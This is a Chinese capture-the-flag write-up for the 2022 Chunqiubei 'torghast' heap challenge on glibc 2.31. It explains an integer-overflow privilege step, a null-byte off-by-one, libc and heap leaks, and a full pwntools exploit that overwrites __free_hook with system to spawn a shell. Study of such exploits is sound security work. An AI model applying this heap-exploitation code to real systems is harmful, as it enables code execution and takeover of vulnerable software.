# 202205 春秋杯 pwn torghast

# 环境及保护

2.31 的堆题目

1
2
3
4
dreamcat@ubuntu:~/Desktop/chunqiubei/pwn/torghast$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 pwn
dreamcat@ubuntu:~/Desktop/chunqiubei/pwn/torghast$
1
2
3
4
dreamcat@ubuntu:~/Desktop/chunqiubei/pwn/torghast$ strings libc-2.31.so | grep ubuntu
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
dreamcat@ubuntu:~/Desktop/chunqiubei/pwn/torghast$

# 题目分析

# 漏洞利用

我们要想正常做堆题,就必须获得 GM 权限,通过 use magic,造成整数溢出(将 mp 弄成负数),然后闯关,获得 GM 权限

题目存在空字符的 off-by-one, 但是因为是高版本的 glibc,就导致了修改 chunksize 最低位,触发 unlink 向前合并失效

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

这里检查了前 chunk 的 size 与我们释放堆块的 prev_size 是否相等,我 i 们想利用堆块合并构造 overlap 就无效了。一般来说绕过方式是在 chunk 内部伪造一个 chunk, 但是前提是我们可以知道堆地址。

首先物品们通过 unsortedbins 泄露出 libc 以及 chunksize,就可以后面继续 overlap 了

# exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
r=process('./pwn')
#context.log_level = 'debug'
elf = ELF('./pwn')
libc = ELF("/home/dreamcat/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")

def getGM():
r.sendlineafter("Choice:","1")
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'1')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'2')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'1')
r.sendlineafter("Menu","2")
r.sendlineafter("GM",'4')
r.recvuntil("Welcome")
print("get the GM permission!!!")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","1")
r.sendlineafter("Menu","4")

def selectuser(idx):
r.sendlineafter("Choice:","2")
r.sendlineafter("User?",str(idx))

def manage():
r.sendlineafter("Choice:","3")

def back():
r.sendlineafter("Choice:","4")

def add(idx,size,text):
r.sendlineafter("Choice:","1")
r.sendlineafter("Id",str(idx))
if size>=1000:
r.sendafter("Size",str(size))
else:
r.sendlineafter("Size",str(size))
r.sendafter("Data",text)

def edit(idx,text):
r.sendlineafter("Choice:","2")
r.sendlineafter("Change",str(idx))
r.sendafter("Log",text)

def free(idx):
r.sendlineafter("Choice:","3")
r.sendlineafter("lete",str(idx))

def show(idx):
back()
selectuser(idx)
r.sendlineafter("Choice:","1")
r.sendlineafter("Menu","3")
r.recvuntil("Log:\nXXXXXXXX")
addr = u64(r.recv(6).ljust(8,b'\x00'))
r.sendlineafter("Menu","4")
manage()
return addr

getGM()
#leak the libc
#gdb.attach(r,'b malloc')
manage()
add(1,0x410,b'a'*8)
add(2,0x420,b'b'*8)
add(3,0x4f0,b'c'*8)
add(4,0x20,b'd'*8)
free(1)
free(3)
add(5,0x410,b'd'*7)
add(6,0x4f0,b'e'*7)
edit(5,b'X'*8)
edit(6,b'X'*8)
libc = show(6)-0x1ecbe0
heap = show(5)
malloc_hook=libc +0x1ecb70
free_hook =libc + 0x1eee48
system = libc + 0x0522c0
onegadget = 0xcafebabedeadbeef

print("libc : ",hex(libc))
print("heap : ",hex(heap))
free(2)
add(2,0x3f0,b'a'*8)
add(1,0x28,b'a'*0x20)
edit(1,b'a'*0x20+p64(0x420))
gdb.attach(r)
edit(2,p64(0)+p64(0x421)+p64(heap-0x420)*2)
free(6)
add(6,0x3e0,b'a'*8)
add(7,0x28,b'x'*8)
free(4)
free(1)
edit(7,p64(free_hook))
add(1,0x20,b'/bin/sh\x00\x00')
add(4,0x20,p64(system))
free(1)
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal